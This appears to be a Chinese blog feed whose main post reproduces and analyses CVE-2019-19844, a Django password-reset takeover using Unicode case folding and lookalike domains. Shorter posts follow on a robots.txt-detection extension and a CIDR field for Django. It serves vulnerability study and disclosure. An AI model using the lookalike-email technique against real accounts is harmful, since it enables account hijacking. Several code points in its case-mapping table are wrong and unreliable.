在浏览器中访问http://127.0.0.1:8000/admin/,看到如下图所示的登录页面,并没有重置密码的功能。

Django登录页面

Django没有默认开启重置密码功能,从官方文档找到了开启该功能的方法2。我们需要编辑urls.py,引入一些url配置。修改后的urls.py如下所示。

from django.contrib import admin
from django.urls import path
from django.urls import include    # 此行是新增的

urlpatterns = [
    path('admin/', admin.site.urls),
    path('accounts/', include('django.contrib.auth.urls')),    # 此行是新增的
]

然后访问http://127.0.0.1:8000/accounts/password_reset/,看到如下图所示的重置密码页面。

Django重置密码页面

根据文档,Django会生成一个可以重置密码的一次性链接,并把这个链接发到用户的邮箱中。如果邮箱地址不存在,Django不会发送邮件,但仍然显示“密码重置链接已经发送”,以避免攻击者探测一个邮箱地址是否为某个用户所有。

输入邮箱i@werner.wiki测试一下,成功收到了密码重置邮件,如下图所示。

Django重置密码邮件

点击其中的链接就可以重置密码了。至此,环境准备完毕。

复现漏洞

根据漏洞描述我们知道问题出在Unicode大小写转换。Unicode号称万国码,包含各种语言,有些语言的字母在进行大小写转换时就会出现奇怪的现象。如小写德文字母“ß”转换成大写是“SS”,再转换成小写就变成了“ss”3,大小写转换竟然不可逆,甚至连字符数量都发生了变化。在Python中进行测试截图如下。

大小写转换不可逆的示例

在准备环境时我们填写的用户邮箱是i@werner.wiki,刚好土耳其文和阿塞拜疆文中的字母“ı”转换成大写是英文字母“I”,再转换成小写就变成了英文字母“i”。知道以上信息,攻击者就可以发起攻击。首先注册域名werner.wikı(假设这个域名存在),然后搭建邮件服务器,设置邮箱i@werner.wikı,最后在Django重置密码的表单中填入这个邮箱地址,提交后攻击者就可以收到用户werner的密码重置邮件了。如下图所示,Django的确发送了密码重置邮件,但由于收件邮箱的域名无法解析,所以一直处于发送中的状态。

发出密码重置邮件

勉强算是成功复现了漏洞。这里为何不使用ı@werner.wiki呢?因为@werner.wiki使用的邮件系统不支持地址中包含ı。现实中的攻击者常常也会面临这个问题,实际上攻击者很可能无法任意注册和用户同后缀的邮箱,便只能修改邮箱后缀了。在这个例子中顶级后缀wikı是不存在的。但攻击者任然可能成功攻击,比如被攻击的是xxx@baidu.com,攻击者就可以构造xxx@baıdu.com。从阿里云查询到域名baıdu.com还没有被注册。

注册域名

分析

问题代码

通过阅读修复此漏洞的commit4可以找到和该漏洞相关的代码5如下所示:

    def get_users(self, email):
        """Given an email, return matching user(s) who should receive a reset.
        这里的email就是重置密码表单中用户填写的邮箱地址
        """
        active_users = UserModel._default_manager.filter(**{
            '%s__iexact' % UserModel.get_email_field_name(): email,
            'is_active': True,
        })
        return (u for u in active_users if u.has_usable_password())

在我们的复现中UserModel.get_email_field_name()返回值是email,也就是说重置密码功能是通过如下的语句查询用户的:

active_users = UserModel._default_manager.filter(email__iexact=email, is_active=True)

注意在查询邮箱地址时使用了iexact,不区分大小写。我们在Django shell中测试一下,用如下语句确实可以查询到用户:

UserModel._default_manager.filter(email__iexact='i@werner.wikı', is_active=True)

截图如下。

在shell中复现漏洞

那么去掉iexact是否可以呢?测试发现是可以的,截图如下。

区分大小写也可以复现漏洞

这是因为MariaDB数据库默认不区分大小写。我们在创建MariaDB数据库时没有指定COLLATE,便取了默认值utf8_genera_ci,其中ci的含义是case insensitive。若在创建数据库时指定COLLATEutf8_bin(将字符串中的每一个字符用二进制数据存储,区分大小写):

CREATE DATABASE cve_2019_19844_test DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;

再重复上面的测试,发现不管有没有iexact都无法复现漏洞。此外,若是使用sqlite做数据库就无法复现漏洞,而使用PostgreSQL却可以复现漏洞。这么想来这一漏洞的真正成因是数据库特性。

将数据库改回可以复现漏洞的状态,开启MariaDB的SQL日志6,记录到Django实际执行的SQL语句是:

Django实际执行的SQL语句

复制这个语句将它粘贴到MariaDB控制台中执行,发现果然能查到数据,如下图所示。

在控制台中执行SQL语句

MariaDB是运行在Windows上的,一开始我在CMD中登录MariaDB控制台,执行上述SQL语句发现查询不出数据,使用chcp命令将CMD编码改为UTF-8也不行。后来在Linux中登录MariaDB控制台(连接的还是运行在Windows上的同一个MariaDB)测试成功。

总结漏洞成因:Django发送重置密码邮件时会发送到用户输入的邮箱地址,而不是从数据库中查询出的邮箱地址。Django重置密码功能没有特殊处理Unicode字符串。某些数据库(在某种配置下)进行字符串匹配时不区分大小写,会自动进行Unicode大小写转换。Unicode大小写转换不是简单的一对一关系,而是复杂的多对多关系。某些不是英文字母的Unicode字符在进行大小写转换后会变成英文字母,攻击者输入特殊构造的含有这种字符的邮箱地址便可以接收到特定账户的密码重置邮件。

可利用的Unicode大小写转换

似乎若某个Unicode字符本身不是英文字母,但在经过大小写转换后会变成一个或多个英文字母,那么这个Unicode大小写转换就是可以利用的。现在我们想做的是找出所有可利用的Unicode大小写转换。诚然,一个小写字母的大写字母是什么和一个大写字母的小写字母是什么应该由自然语言决定,但在计算机领域,这种转换关系被定义成了几张映射表:一个字母对一个字母的大小写转换映射定义在UnicodeData.txt中,一个字母对多个字母的大小写转换映射定义在SpecialCasing.txt7。遍历这几张映射表,找到了如下表所列的可能可以利用的Unicode大小写转换。

字符 Unicode编码 转换 转后字母 转换后字母编码
ı U+0131 大写 I U+0073
ſ U+017F 大写 S U+0083
ß U+00DF 大写 SS U+0053 U+0053
U+FB00 大写 FF U+0046 U+0046
U+FB01 大写 FI U+0046 U+0049
U+FB02 大写 FL U+0046 U+004C
U+FB03 大写 FFI U+0046 U+0046 U+0049
U+FB04 大写 FFL U+0046 U+0046 U+004C
U+FB05 大写 ST U+0053 U+0054
U+FB06 大写 ST U+0053 U+0054
U+212A 小写 k U+0083

但进一步测试发现,只有前两行,一个字母对一个字母的大写转换是可以利用的。例如把用户邮箱改为ss@werner.wiki,用ß@werner.wiki查询不出来。

一对多映射无法复现漏洞

这应该和MariaDB的底层实现有关,超出了本文范围,按下不表。

如何修复

Django做了两处改动来修复这个漏洞1

  1. 从数据库检索出可能匹配的帐户列表后,再使用专门的Unicode字符串比较函数来比较用户输入的邮箱地址和数据库中检索出的邮箱地址是否相等。这样无论后端使用怎样的数据库都避免了这一漏洞。
  2. 在发送重置密码邮件时,发送到数据库中检索出的邮箱地址,不再发送到用户输入的邮箱地址。这样攻击者就算能绕过Unicode字符串比较函数的检查也无法接收到密码重置邮件。

利用条件

为利用这一漏洞,至少需满足以下条件:

  • Django启用了找回密码功能(默认未启用);
  • 使用的数据库配置为不区分Unicode大小写;
  • 攻击者知道被攻击账户的邮箱地址;
  • 被攻击账户的邮箱地址中要含有字母i或s;
  • 被攻击账户的邮箱系统要支持非ASCII字符的地址且攻击者可以任意注册或可利用的域名存在且没有被注册。

所以在现实世界中这一漏洞可能很难利用,故而危害较低。

总结

原以为这是一个很简单的漏洞,结果花了好几天时间才勉强强复现了这个漏洞,大致搞懂了漏洞成因。

虽然这一漏洞很难利用,但它具有启发意义:若是编程语言中没有特殊处理Unicode字符串而数据库不区分Unicode大小写,那么便可能可以使用ıſ绕过某些安全措施。

更新

(2020年1月4日)在前文中我们说明了Mysql的utf8_genera_ci字符串进行比较时,会忽略大小写,如认为ıiI相等,利用此特性可以实施账号劫持攻击,但实际上Mysql也认为不同语言中的“同一个”字母相同,如认为英语中字母a、瑞典语中字母å、拉脱维亚语中字母ā和立陶宛语中字母ą都相同。一个简单的试验如下图所示。

每个英文字母都有至少一个其他语言中的对应字母8,但可惜的是这一特性无法在Django找回密码中利用,因为像ådmin@werner.wiki这样的邮箱地址是通不过校验的。归根结底是因为Python正则即使设置了re.IGNORECASE也不会认为aå相等,但却会认为ıi相等,å有自己的大写字母是Å,如下图。

]]>
https://blog.werner.wiki/poc-of-cve-2019-19844/feed/ 3
密码保护:渗透笔记之djinn https://blog.werner.wiki/penetrate-djinn/ https://blog.werner.wiki/penetrate-djinn/#respond Tue, 24 Dec 2019 01:14:58 +0000 https://blog.werner.wiki/?p=990

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/penetrate-djinn/feed/ 0
一款自动检测网站是否存在robots.txt的浏览器扩展 https://blog.werner.wiki/detect-robots-txt-web-extension/ https://blog.werner.wiki/detect-robots-txt-web-extension/#comments Sat, 16 Nov 2019 09:15:24 +0000 https://blog.werner.wiki/?p=953 在学习PWK课程时有次遇到一个Web服务,访问根路径返回404,于是就用dirb扫描。由于网速不太好,扫描了很久才发现存在robots.txt,以此为突破口成功地拿到了Webshell。当时就尝试找一款能自动检测网站是否存在robots.txt的浏览器扩展,但并没有找到,于是萌生了自己写一个的念头。现在我学完了PWK,顺利拿到了OSCP认证,便花了些时间实现了自己当时的想法。

安装

这款浏览器扩展兼容Firefox和Google Chrome,但我只将它上传到了Firefox的Add-ons,没有将它上传到Chrome Web Store。原因如下:

  • 这款浏览器扩展仅对渗透测试有用,而Firefox由于其独立于操作系统的证书系统和代理设置,更适合于渗透测试;
  • 想要上传浏览器扩展到Chrome Web Store需要先缴纳5美元,而这款浏览器扩展可能最终只会有一个用户——我自己——在渗透测试时几乎从不使用Google Chrome。

在Firefox中安装

由于我将它上传到了Add-ons,所以在Firefox安装它很简单。打开https://addons.mozilla.org/firefox/addon/robots-txt-detection/,点击添加到 Firefox,完成下载后弹出安装提示时点击添加就可以了。

在Google Chrome中安装

在Google Chrome中安装它其实也挺简单的,对于不能直接访问Chrome Web Store的地区的用户而言就更是小菜一碟了。

首先下载源码:

git clone https://github.com/Werneror/RobotsTxtDetection.git

然后打开Google Chrome,在地址栏中输入Chrome://extensions/进入到扩展管理页面,点击页面右上角的开关打开开发者模式。接着点击页面左上角加载已解压的扩展程序按钮,在弹出的选择器中选中下载的源码目录RobotsTxtDetection即可。

使用

在使用安装了这款扩展的浏览器时,若访问的网站存在robots.txt,地址栏中就会自动出现一个小图标,如下图所示。

将鼠标移动到小图标上,会看到提示文字,如下图所示。

单击小图标会弹出一个包含超链接的页面,点击超链接可以直接打开robots.txt页面,如下图所示。

在某些版本的Google Chrome中,小图标不在地址栏中,而是在地址栏右边,或其他位置,取决于用户的定制。访问的网站不存在robots.txt时,小图标也不会消失,而是变成灰色。

配置

这款扩展提供一些简单的配置,如下图所示是配置页面和默认配置。

检测路径

默认情况下只检测robots.txt,但也可以配置为检测更多的路径。每行写一个要检测的路径。以/开头的路径会被视为绝对路径,否则为相对路径。举个例子,假设配置为检测以下路径:

/robots.txt
security.txt

正在浏览的URL是https://www.example.com/test/index.html,那么实际上会检测:

https://www.example.com/robots.txt
https://www.example.com/test/security.txt

状态码

默认以404、301和302做为判断路径不存在的状态码,但如果有特殊需求,也可以进行配置。

技术细节

缓存

一般来说网站有哪些路径是十分稳定的,不会在短时间里发生变化,所以采取的缓存策略是尽可能多地缓存。对于一个特定的URL,扩展只会发送一次请求,除非重启浏览器、禁用/启用或卸载/重新安装。

重定向

XMLHttpRequest会自动跟随重定向,所以扩展实际上没有办法获取到301、302这样的状态码(也许有办法只有我没找到?)。判断是否发生重定向的方法是:比较请求的URL和响应的URL是否相同,若不同,则发生了重定向。

源代码

源代码见:https://github.com/Werneror/RobotsTxtDetection

]]>
https://blog.werner.wiki/detect-robots-txt-web-extension/feed/ 2
django-cidrfield开发小记 https://blog.werner.wiki/django-cidrfield-notes/ https://blog.werner.wiki/django-cidrfield-notes/#comments Sat, 02 Nov 2019 14:09:07 +0000 https://blog.werner.wiki/?p=926 在Django中GenericIPAddressField可以存储一个IPv4或IPv6地址,但没有专门用来存储网段的字段。用字符串存储网段会丢失语义,如无法按包含的IP地址过滤网段。Django插件django-netfields实现了存储网段的功能,但只支持PostgreSQL,它直接使用了PostgreSQL提供的网段相关字段。我设计实现了一个支持所有数据库的专用于存储网段的字段IPNetworkField。这篇文章将介绍IPNetworkField的使用方法和实现原理。

后文中IP段和网段为同义词,视行文方便使用。

使用方法

首先使用pip安装django-cidrfield

pip install django-cidrfield

在定义model时模仿下面的示例定义存储网段的字段:

from django.db import models
from cidrfield.models import IPNetworkField

class MyModel(models.Model):

    # the regular params should work well enough here
    ip_network = IPNetworkField()
    # ... and so on

创建model后按如下的示例存储一个网段:

MyModel(ip_network='192.168.1.0/24').save()

可以用__contains查询包含特定IP或IP段的网段:

MyModel.objects.filter(ip_network__contains='192.168.1.1')
MyModel.objects.filter(ip_network__contains='192.168.1.250/30')

__icontains效果是一样的。

可以用__in查询属于特定网段的网段:

MyModel.objects.filter(ip_network__in='192.168.0.0/16')

实现原理

设计目标

在开始论述实现原理前先捋一捋需求。我们的目标是:

  • 可以存储一个网段
  • 可以查询包含特定IP地址或地址段的网段
  • 可以查询属于特定IP地址段的网段

如何存储

并不是所有数据库都像PostgreSQL一样原生支持网段的存储和查询。所以我只能选择使用整数或字符串来存储网段。若想用一个数据库字段存储网段,使用整数有些力不从心,因为一个IP地址就是一个整数,而网段是IP地址加上一个额外的数据(掩码或CIDR)。但若用字符串来存储网段。又会遇到运算困难的问题,为了解决这些问题,我设计了一种实现简单,但效率不高的数据结构:用字符串存储二进制数。我们以一个IPv4地址段为例:

192.168.56.0/24

这个地址段由一个IP地址和“/24”(CIDR)组成。这种表示IP地址的方式为点分十进制,便于人类阅读,但不便于计算。最便于计算的无疑为二进制形式,因此我们把上述的地址段转换为:

11000000101010000011100000000000/24

但我们把上面的值以字符串形式保存在数据库中依旧无法计算,问题主要出在“/24”上。直接丢掉“/24”会丢失一部分信息,我的方法是丢掉“/24”的同时只保留字符串的前24位,网段变成了:

110000001010100000111000

如果知道转换规则,我们是否可以将其还原为最初的网段呢?答案是肯定的。因为我们没有丢失信息。“24”这个信息体现在字符串长度上,而字符串被丢掉的部分为全0。

但最终存储的数据还需要在字符串前面加上“IPv4”或“IPv6”,以区别两种IP协议的网段,还需要在字符串后边加上“%”,以便于进行数据库字符串搜索。

总结一下,网段:

192.168.56.0/24

存储在数据库中的实际是:

IPv4110000001010100000111000%

IPv6地址的存储同理。

如何查询

网段:

192.168.0.0/16

存储在数据库中长什么样呢?这是很容易计算的。为便于读者对比,将两个网段实际存储的数据写在一起:

IPv41100000010101000%                # 192.168.0.0/16
IPv4110000001010100000111000%        # 192.168.56.0/24

至此读者应该可以明白网段的查询要如何实现了,直接用SQLlike就可以了,这也是要在末尾加“%”的原因。

为了文章的完整性,我觉得有必要进行简单的说明:

  • 若网段A属于网段B,则在数据库中存储的数据,A like B一定成立;
  • 若网段A包含网段B,则在数据库中存储的数据,B like A一定成立。

编程实现

阅读官方文档《编写自定义模型字段(model fields)》可以学习如何编写自定义的模型字段。完整的代码见Github,长度很短,有兴趣的读者可自行阅读。

]]>
https://blog.werner.wiki/django-cidrfield-notes/feed/ 8